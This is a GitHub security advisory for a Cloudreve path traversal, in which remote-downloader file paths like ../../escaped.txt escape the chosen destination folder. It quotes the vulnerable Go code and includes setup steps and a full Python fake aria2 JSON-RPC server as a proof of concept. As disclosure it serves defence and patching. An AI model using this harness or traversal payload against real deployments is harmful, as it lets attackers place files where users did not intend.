GHSA-W8J7-39HP-8X59
Vulnerability from github – Published: 2026-08-24 22:03 – Updated: 2026-08-24 22:03
VLAI
Summary
Cloudreve's remote download file paths can escape the selected destination directory
Details
Summary
Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.
Details
In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.
// pkg/filemanager/workflows/remote_download.go:436-438
sanitizedName := sanitizeFileName(file.Name)
dst := dstUri.JoinRaw(sanitizedName)
src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))
The same issue also exists when constructing slave upload payloads.
// pkg/filemanager/workflows/remote_download.go:323-327
dst := dstUri.JoinRaw(sanitizeFileName(f.Name))
src := path.Join(m.state.Status.SavePath, f.Name)
payload.Files = append(payload.Files, SlaveUploadEntity{
Src: src,
Uri: dst,
The sanitizer does not remove /, ., or .. path segments.
// pkg/filemanager/workflows/remote_download.go:648-650
func sanitizeFileName(name string) string {
r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_")
return r.Replace(name)
}
JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.
// pkg/filemanager/fs/uri.go:173-175
func (u *URI) JoinRaw(elem string) *URI {
return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}
For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.
// pkg/downloader/aria2/aria2.go:148-159
relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)
if len(relPath) > 0 {
relPath = relPath[1:]
}
return downloader.TaskFile{
Index: index,
Name: relPath,
Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt
The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.
PoC
The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.
Setup:
Cloudreve official Docker image
PostgreSQL
Redis
Fake aria2 JSON-RPC service
Configure the master node in the Cloudreve admin UI:
Remote download capability: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: empty
Create this folder structure in the file manager:
My files /
victim /
safe /
Create a remote download task using any URL in the victim/safe directory, for example:
http://attacker.invalid/file
The fake aria2 service returns:
files[0].path = <saveDir>/../../escaped.txt
Expected result after the remote download task completes:
cloudreve://my/escaped.txt exists
This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.
Impact
If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.
This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.
Appendix: fake_aria2.py
import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
GID = "0123456789abcdef"
CONTENT = b"created outside the selected Cloudreve destination\n"
save_dir = "/cloudreve/data/temp/aria2/poc-final"
def write_source_file():
source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt"))
os.makedirs(os.path.dirname(source), exist_ok=True)
with open(source, "wb") as f:
f.write(CONTENT)
print(f"fake aria2 source file: {source}", flush=True)
def response(rpc_id, result):
return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode()
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
global save_dir
raw = self.rfile.read(int(self.headers.get("Content-Length", "0")))
req = json.loads(raw or b"{}")
method = req.get("method")
rpc_id = req.get("id")
if method == "aria2.addUri":
for item in req.get("params", []):
if isinstance(item, dict) and item.get("dir"):
save_dir = item["dir"]
break
write_source_file()
result = GID
elif method == "aria2.tellStatus":
result = {
"gid": GID,
"status": "complete",
"totalLength": str(len(CONTENT)),
"completedLength": str(len(CONTENT)),
"uploadLength": "0",
"downloadSpeed": "0",
"uploadSpeed": "0",
"infoHash": "",
"numPieces": "1",
"dir": save_dir,
"files": [
{
"index": "1",
"path": f"{save_dir}/../../escaped.txt",
"length": str(len(CONTENT)),
"completedLength": str(len(CONTENT)),
"selected": "true",
"uris": [],
}
],
"bittorrent": {"mode": "single", "info": {"name": "poc-final"}},
}
elif method == "aria2.getVersion":
result = {"version": "fake-poc-final", "enabledFeatures": []}
else:
result = "OK"
body = response(rpc_id, result)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
return
if __name__ == "__main__":
print("fake aria2 JSON-RPC listening on :6800", flush=True)
HTTPServer(("0.0.0.0", 6800), Handler).serve_forever()
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.0.0-20260606032813-26b6b1044b02"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-24T22:03:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nCloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory.\n\n### Details\n\nIn the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:436-438\nsanitizedName := sanitizeFileName(file.Name)\ndst := dstUri.JoinRaw(sanitizedName)\nsrc := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))\n```\n\nThe same issue also exists when constructing slave upload payloads.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:323-327\ndst := dstUri.JoinRaw(sanitizeFileName(f.Name))\nsrc := path.Join(m.state.Status.SavePath, f.Name)\npayload.Files = append(payload.Files, SlaveUploadEntity{\n\tSrc: src,\n\tUri: dst,\n```\n\nThe sanitizer does not remove `/`, `.`, or `..` path segments.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:648-650\nfunc sanitizeFileName(name string) string {\n\tr := strings.NewReplacer(\"\\\\\", \"_\", \":\", \"_\", \"*\", \"_\", \"?\", \"_\", \"\\\"\", \"_\", \"\u003c\", \"_\", \"\u003e\", \"_\", \"|\", \"_\")\n\treturn r.Replace(name)\n}\n```\n\n`JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path.\n\n```go\n// pkg/filemanager/fs/uri.go:173-175\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n```\n\nFor aria2, Cloudreve derives `downloader.TaskFile.Name` from the path returned by `aria2.tellStatus().files[].path`.\n\n```go\n// pkg/downloader/aria2/aria2.go:148-159\nrelPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)\nif len(relPath) \u003e 0 {\n\trelPath = relPath[1:]\n}\nreturn downloader.TaskFile{\n\tIndex: index,\n\tName: relPath,\n```\n\nTherefore, if the selected destination is: `cloudreve://my/victim/safe`, the downloader reports `../../escaped.txt`, the final upload destination becomes `cloudreve://my/escaped.txt`\n\nThe issue can move the final Cloudreve URI further up the user\u2019s any accessible namespace, but is subject to Cloudreve\u2019s normal permission and upload checks.\n\n### PoC\n\nThe PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.\n\nSetup:\n\n```text\nCloudreve official Docker image\nPostgreSQL\nRedis\nFake aria2 JSON-RPC service\n```\n\nConfigure the master node in the Cloudreve admin UI:\n\n```text\nRemote download capability: enabled\nDownloader provider: aria2\naria2 RPC server: http://fake-aria2:6800/jsonrpc\naria2 token: empty\n```\n\nCreate this folder structure in the file manager:\n\n```text\nMy files /\n victim /\n safe /\n```\n\nCreate a remote download task using any URL in the `victim/safe` directory, for example:\n\n```text\nhttp://attacker.invalid/file\n```\n\nThe fake aria2 service returns:\n\n```text\nfiles[0].path = \u003csaveDir\u003e/../../escaped.txt\n```\n\nExpected result after the remote download task completes:\n\n```text\ncloudreve://my/escaped.txt exists\n```\n\nThis demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.\n\n### Impact\n\nIf a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.\n\nThis affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve\u2019s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.\n\n### Appendix: fake_aria2.py\n\n```python\nimport json\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nGID = \"0123456789abcdef\"\nCONTENT = b\"created outside the selected Cloudreve destination\\n\"\nsave_dir = \"/cloudreve/data/temp/aria2/poc-final\"\n\n\ndef write_source_file():\n source = os.path.normpath(os.path.join(save_dir, \"..\", \"..\", \"escaped.txt\"))\n os.makedirs(os.path.dirname(source), exist_ok=True)\n with open(source, \"wb\") as f:\n f.write(CONTENT)\n print(f\"fake aria2 source file: {source}\", flush=True)\n\n\ndef response(rpc_id, result):\n return json.dumps({\"jsonrpc\": \"2.0\", \"id\": rpc_id, \"result\": result}).encode()\n\n\nclass Handler(BaseHTTPRequestHandler):\n def do_POST(self):\n global save_dir\n\n raw = self.rfile.read(int(self.headers.get(\"Content-Length\", \"0\")))\n req = json.loads(raw or b\"{}\")\n method = req.get(\"method\")\n rpc_id = req.get(\"id\")\n\n if method == \"aria2.addUri\":\n for item in req.get(\"params\", []):\n if isinstance(item, dict) and item.get(\"dir\"):\n save_dir = item[\"dir\"]\n break\n write_source_file()\n result = GID\n elif method == \"aria2.tellStatus\":\n result = {\n \"gid\": GID,\n \"status\": \"complete\",\n \"totalLength\": str(len(CONTENT)),\n \"completedLength\": str(len(CONTENT)),\n \"uploadLength\": \"0\",\n \"downloadSpeed\": \"0\",\n \"uploadSpeed\": \"0\",\n \"infoHash\": \"\",\n \"numPieces\": \"1\",\n \"dir\": save_dir,\n \"files\": [\n {\n \"index\": \"1\",\n \"path\": f\"{save_dir}/../../escaped.txt\",\n \"length\": str(len(CONTENT)),\n \"completedLength\": str(len(CONTENT)),\n \"selected\": \"true\",\n \"uris\": [],\n }\n ],\n \"bittorrent\": {\"mode\": \"single\", \"info\": {\"name\": \"poc-final\"}},\n }\n elif method == \"aria2.getVersion\":\n result = {\"version\": \"fake-poc-final\", \"enabledFeatures\": []}\n else:\n result = \"OK\"\n\n body = response(rpc_id, result)\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, fmt, *args):\n return\n\n\nif __name__ == \"__main__\":\n print(\"fake aria2 JSON-RPC listening on :6800\", flush=True)\n HTTPServer((\"0.0.0.0\", 6800), Handler).serve_forever()\n```",
"id": "GHSA-w8j7-39hp-8x59",
"modified": "2026-08-24T22:03:33Z",
"published": "2026-08-24T22:03:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Cloudreve\u0027s remote download file paths can escape the selected destination directory"
}
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